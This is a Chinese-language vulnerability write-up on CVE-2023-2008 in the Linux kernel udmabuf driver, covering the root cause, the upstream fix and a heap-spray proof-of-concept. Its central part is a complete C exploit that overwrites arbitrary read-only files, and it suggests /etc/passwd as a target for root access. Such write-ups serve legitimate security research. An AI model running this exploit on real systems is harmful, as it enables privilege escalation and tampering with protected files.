本文最后更新于:2025年1月2日 凌晨
Linus 哥你骗我们干嘛!这 DMA-BUF 他也不无敌啊!
0x00. 一切开始之前
CVE-2023-2008 是一个发生在 Linux 内核的 dma-buf 子系统 的 /dev/udmabuf
设备驱动中的一个漏洞,由于缺乏对范围扩张后的 udmabuf::pages
的边界检查,导致攻击者可以完成越界页面指针映射,从而完成越权文件写入攻击以进行提权;该漏洞影响版本为 4.20 ~ 5.4.201
、5.5 ~ 5.10.126
、5.11~5.15.50
、5.16 ~ 5.18.7
,本文我们选用 5.11
版本的内核源码进行分析
在开始之前,请先在 这篇博客 当中补充一些 dma-buf 与 udmabuf 的基础知识
0x01. 漏洞分析
Root Cause
在 udmabuf
驱动当中,udmabuf
结构体被用以表示一份与一个 DMA-BUF
绑定的共享内存:
1 2 3 4
| struct udmabuf { pgoff_t pagecount; struct page **pages; };
|
众所周知 dma_buf
内存在用户态一般通过 mmap()
访问,当我们第一次读写 mmap()
的 udmabuf
所给的 dma_buf
的内存时,会触发缺页异常以分配内存页,因为在创建 dma_buf
时有如下调用链:
1 2 3 4 5 6 7
| ksys_ioctl() do_vfs_ioctl() vfs_ioctl() filp->f_op->unlocked_ioctl() udmabuf_ioctl() udmabuf_ioctl_create() udmabuf_create()
|
在 udmabuf_create()
中会初始化 dma_buf
的函数表为 udmabuf_ops
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| static const struct dma_buf_ops udmabuf_ops = { .map_dma_buf = map_udmabuf, .unmap_dma_buf = unmap_udmabuf, .release = release_udmabuf, .map = kmap_udmabuf, .unmap = kunmap_udmabuf, .mmap = mmap_udmabuf, };
static long udmabuf_create(const struct udmabuf_create_list *head, const struct udmabuf_create_item *list) { DEFINE_DMA_BUF_EXPORT_INFO(exp_info);
exp_info.ops = &udmabuf_ops; exp_info.size = ubuf->pagecount << PAGE_SHIFT; exp_info.priv = ubuf; exp_info.flags = O_RDWR;
|
在 mmap_udmabuf()
当中为 mmap 对应的 vm_area_struct
配置了函数表 udmabuf_vm_ops
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| static const struct vm_operations_struct udmabuf_vm_ops = { .fault = udmabuf_vm_fault, };
static int mmap_udmabuf(struct dma_buf *buf, struct vm_area_struct *vma) { struct udmabuf *ubuf = buf->priv;
if ((vma->vm_flags & (VM_SHARED | VM_MAYSHARE)) == 0) return -EINVAL;
vma->vm_ops = &udmabuf_vm_ops; vma->vm_private_data = ubuf; return 0; }
|
因此在缺页异常时最终会调用到 udmabuf_vm_fault()
函数,从 udmabuf::pages
中取出对应的内存页:
1 2 3 4 5 6 7 8 9
| static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf) { struct vm_area_struct *vma = vmf->vma; struct udmabuf *ubuf = vma->vm_private_data;
vmf->page = ubuf->pages[vmf->pgoff]; get_page(vmf->page); return 0; }
|
注意到 udmabuf_vm_fault()
函数并未对 vmf->pgoff
的大小进行检查,这是因为 dma-buf
的 mmap()
路径会调用到 dma_buf_mmap_internal()
,在其中会先进行范围检查后再调用 dmabuf->ops->mmap()
,因此在 正常读写 的情况下并不会超出 udmabuf::pages
的范围:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| static int dma_buf_mmap_internal(struct file *file, struct vm_area_struct *vma) { struct dma_buf *dmabuf;
if (!is_dma_buf_file(file)) return -EINVAL;
dmabuf = file->private_data;
if (!dmabuf->ops->mmap) return -EINVAL;
if (vma->vm_pgoff + vma_pages(vma) > dmabuf->size >> PAGE_SHIFT) return -EINVAL;
return dmabuf->ops->mmap(dmabuf, vma); }
static const struct file_operations dma_buf_fops = { .mmap = dma_buf_mmap_internal,
|
但这存在一个问题—— mmap()
所映射的区域是可以被扩展(expand)和收缩(shrink)的,这一般可以通过 mremap()
系统调用完成:
mremap()
可以改变一个 vm_area_struct
的地址空间大小,而这个功能默认开启,若要限制则需要在 mmap 时为 vm_area_struct::vm_flags
添加 VM_DONTEXPAND
标志位
以 kcov_mmap()
为例:
1 2 3 4
| static int kcov_mmap(struct file *filep, struct vm_area_struct *vma) { vma->vm_flags |= VM_DONTEXPAND;
|
而 udmabuf
的 mmap()
路径上 并未为 vm_area_struct 添加任何限制,这意味着可以直接用 mremap 改变内存块的大小 ——这意味着 mmap 区域的缺页异常 可以超出 udmabuf::pages 的范围,将其相邻内存上的数据看作一个 page 指针进行映射 ——即存在越界读写漏洞
Proof-Of-Concept
现在我们来进行漏洞验证,我们首先在 udmabuf::pages
旁边堆喷一大堆的垃圾数据,之后再使用 mremap()
扩展 mmap()
区域,随后读写 mmap()
区域以触发缺页异常来触发内核越界读写:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/udmabuf.h> #include <sched.h>
#define SOCKET_NUM 8 #define SK_BUFF_NUM 4 #define UDMA_PAGE_NR 128
int init_socket_array(int sk_socket[SOCKET_NUM][2]) { for (int i = 0; i < SOCKET_NUM; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) { printf("[x] failed to create no.%d socket pair!\n", i); return -1; } }
return 0; }
int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) { for (int i = 0; i < SOCKET_NUM; i++) { for (int j = 0; j < SK_BUFF_NUM; j++) { if (write(sk_socket[i][0], buf, size) < 0) { printf("[x] failed to spray %d sk_buff for %d socket!", j, i); return -1; } } }
return 0; }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
void proof_of_concept(void) { int dma_fd, dev_fd, mem_fd; char *udma_buf, buf[0x1000]; struct udmabuf_create info; int sk_socket[SOCKET_NUM][2];
puts("[*] Preparing...");
bind_core(0);
if (init_socket_array(sk_socket) < 0) { perror("Unable to create socket for heap spray"); exit(EXIT_FAILURE); }
mem_fd = memfd_create("test", MFD_ALLOW_SEALING); if (mem_fd < 0) { perror("Failed to create mem_fd"); exit(EXIT_FAILURE); }
if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) { perror("Failed to change size of mem_fd"); exit(EXIT_FAILURE); }
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) { perror("Failed to seal mem_fd"); exit(EXIT_FAILURE); }
dev_fd = open("/dev/udmabuf", O_RDWR); if (dev_fd < 0) { perror("Failed to open udmabuf dev file"); exit(EXIT_FAILURE); }
strcpy(buf, "arttnba3");
puts("[*] Spraying sk_buff...");
if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) { perror("Failed to do the heap spray"); exit(EXIT_FAILURE); }
puts("[*] Allocating udmabuf...");
memset(&info, 0, sizeof(info)); info.memfd = mem_fd; info.size = 0x1000 * UDMA_PAGE_NR;
dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info); if (dma_fd < 0) { perror("Failed to create dma_buf"); exit(EXIT_FAILURE); }
puts("[*] Spraying sk_buff...");
if (spray_sk_buff(sk_socket, buf, UDMA_PAGE_NR * sizeof(void*) - 512) < 0) { perror("Failed to do the heap spray"); exit(EXIT_FAILURE); }
puts("[*] MMAP and MREMAP udmabuf...");
udma_buf = mmap( NULL, 0x1000 * UDMA_PAGE_NR, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, dma_fd, 0 ); if (udma_buf == MAP_FAILED) { perror("Failed to map dma_fd"); exit(EXIT_FAILURE); }
udma_buf = mremap( udma_buf, 0x1000 * UDMA_PAGE_NR, 0x1000 * (UDMA_PAGE_NR + 1), MREMAP_MAYMOVE ); if (udma_buf == MAP_FAILED) { perror("Failed to mremap dma_buf area"); exit(EXIT_FAILURE); }
puts("[*] Triggering..."); *(size_t*) &udma_buf[0x1000 * UDMA_PAGE_NR] = *(size_t*) "arttnba3"; }
int main(int argc, char **argv, char **envp) { proof_of_concept(); return 0; }
|
成功让内核尝试将我们的垃圾数据作为 struct page*
指针进行映射:
0x02. 漏洞利用
越界映射 pipe_buffer::page
完成文件越权读写
有了将越界数据作为 struct page
指针进行使用的权能,接下来我们考虑如何进行漏洞利用,我们不难想到的是可以将开头原生有着合法 struct page
指针的结构体作为 victim object
,而其中不难想到的是 struct pipe_buffer
:
1 2 3 4 5 6 7
| struct pipe_buffer { struct page *page; unsigned int offset, len; const struct pipe_buf_operations *ops; unsigned int flags; unsigned long private; };
|
而想到 pipe_buffer
,我们不难想到 CVE-2022-0847 ,即 dirty pipe
这一利用手法——通过 spice 系统调用将 pipe_buffer::page 映射为只读文件内容,从而完成越权写入操作 :
- 首先堆喷
pipe_buffer
- 接下来分配
udmabuf::pages
- 再堆喷
pipe_buffer
,从而确保能够将 udmabuf::pages
用 pipe_buffer
包围
- 通过 splice 系统调用映射只读文件到
pipe_buffer::page
- 通过漏洞映射
pipe_buffer::page
页面并改写内容
最终的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191
| #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> #include <sys/ioctl.h> #include <sys/mman.h> #include <sys/wait.h> #include <sys/socket.h> #include <linux/udmabuf.h> #include <sched.h> #include <errno.h>
#define PIPE_SPRAY_NR 128 #define UDMA_PAGE_NR 128
int prepare_pipe(int pipe_fd[PIPE_SPRAY_NR][2]) { int err;
for (int i = 0; i < PIPE_SPRAY_NR; i++) { if ((err = pipe(pipe_fd[i])) < 0) { printf("[x] failed to alloc %d pipe!", i); return err; } }
return 0; }
ssize_t splice_pipe(int pipe_fd[PIPE_SPRAY_NR][2], int victim_fd) { ssize_t err; loff_t offset;
for (int i = 0; i < PIPE_SPRAY_NR; i++) { offset = 0; if ((err = splice(victim_fd, &offset, pipe_fd[i][1], NULL, 0x1000, 0)) < 0){ printf("[x] failed to splice %d pipe!", i); return err; } }
return 0; }
void bind_core(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
void proof_of_concept(char *target_file, char *content) { int dma_fd, dev_fd, mem_fd, victim_fd; char *udma_buf, buf[0x1000]; struct udmabuf_create info; int pipe_fd1[PIPE_SPRAY_NR][2], pipe_fd2[PIPE_SPRAY_NR][2];
puts("[*] Preparing...");
bind_core(0);
mem_fd = memfd_create("test", MFD_ALLOW_SEALING); if (mem_fd < 0) { perror("Failed to create mem_fd"); exit(EXIT_FAILURE); }
if (ftruncate(mem_fd, 0x1000 * UDMA_PAGE_NR) < 0) { perror("Failed to change size of mem_fd"); exit(EXIT_FAILURE); }
if (fcntl(mem_fd, F_ADD_SEALS, F_SEAL_SHRINK) < 0) { perror("Failed to seal mem_fd"); exit(EXIT_FAILURE); }
dev_fd = open("/dev/udmabuf", O_RDWR); if (dev_fd < 0) { perror("Failed to open udmabuf dev file"); exit(EXIT_FAILURE); }
victim_fd = open(target_file, O_RDONLY); if (victim_fd < 0) { perror("Failed to open target victim file"); exit(EXIT_FAILURE); }
strcpy(buf, "arttnba3");
puts("[*] Spraying pipe_buffer...");
if (prepare_pipe(pipe_fd1) < 0) { perror("Failed to spray pipe_buffer"); exit(EXIT_FAILURE); }
puts("[*] Allocating udmabuf...");
memset(&info, 0, sizeof(info)); info.memfd = mem_fd; info.size = 0x1000 * UDMA_PAGE_NR;
dma_fd = ioctl(dev_fd, UDMABUF_CREATE, &info); if (dma_fd < 0) { perror("Failed to create dma_buf"); exit(EXIT_FAILURE); }
puts("[*] Spraying pipe_buffer...");
if (prepare_pipe(pipe_fd2) < 0) { perror("Failed to spray pipe_buffer"); exit(EXIT_FAILURE); }
puts("[*] MMAP and MREMAP udmabuf...");
udma_buf = mmap( NULL, 0x1000 * UDMA_PAGE_NR, PROT_READ | PROT_WRITE, MAP_FILE | MAP_SHARED, dma_fd, 0 ); if (udma_buf == MAP_FAILED) { perror("Failed to map dma_fd"); exit(EXIT_FAILURE); }
udma_buf = mremap( udma_buf, 0x1000 * UDMA_PAGE_NR, 0x1000 * (UDMA_PAGE_NR + 1), MREMAP_MAYMOVE ); if (udma_buf == MAP_FAILED) { perror("Failed to mremap dma_buf area"); exit(EXIT_FAILURE); }
if (splice_pipe(pipe_fd1, victim_fd) < 0) { perror("Failed to splice target fd"); exit(EXIT_FAILURE); }
if (splice_pipe(pipe_fd2, victim_fd) < 0) { perror("Failed to splice target fd"); exit(EXIT_FAILURE); }
puts("[*] Triggering..."); strcpy((void*) &udma_buf[0x1000 * UDMA_PAGE_NR], content);
}
int main(int argc, char **argv, char **envp) { if (argc < 3) { puts("[x] Usage: ./exploit target_file_path content"); exit(EXIT_FAILURE); }
proof_of_concept(argv[1], argv[2]);
return 0; }
|
运行,成功修改只读文件:
有了越权文件读写的权能,在实战当中能够玩的花样就多很多了,例如通过覆写 /etc/passwd
完成提权:)
需要注意的是,pipe_buffer
所使用的分配 flag 为 GFP_KERNEL_ACCOUNT
,在 5.9 ~ 5.14
这个内核版本范围外会使得其与 udmabuf::pages
分配自两个不同的 kmem_cache
,因此若是要在这些版本中利用该漏洞,则你可能需要一些 cross-cache overflow 与内核堆风水的技巧
0x03. 漏洞修复
这个漏洞最终在 这个 commit 当中被修复,修复方式是在 udmabuf_vm_fault()
当中添加了一个范围检查,笔者个人的感觉是 虽然漏洞是修复了但是修的挺简陋的,不够优雅,因为在笔者看来还应该在 mremap 的调用链当中加入范围检查
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
@@ -32,8 +32,11 @@ static vm_fault_t udmabuf_vm_fault(struct vm_fault *vmf) { struct vm_area_struct *vma = vmf->vma; struct udmabuf *ubuf = vma->vm_private_data; + pgoff_t pgoff = vmf->pgoff; - vmf->page = ubuf->pages[vmf->pgoff]; + if (pgoff >= ubuf->pagecount) + return VM_FAULT_SIGBUS; + vmf->page = ubuf->pages[pgoff]; get_page(vmf->page); return 0; }
|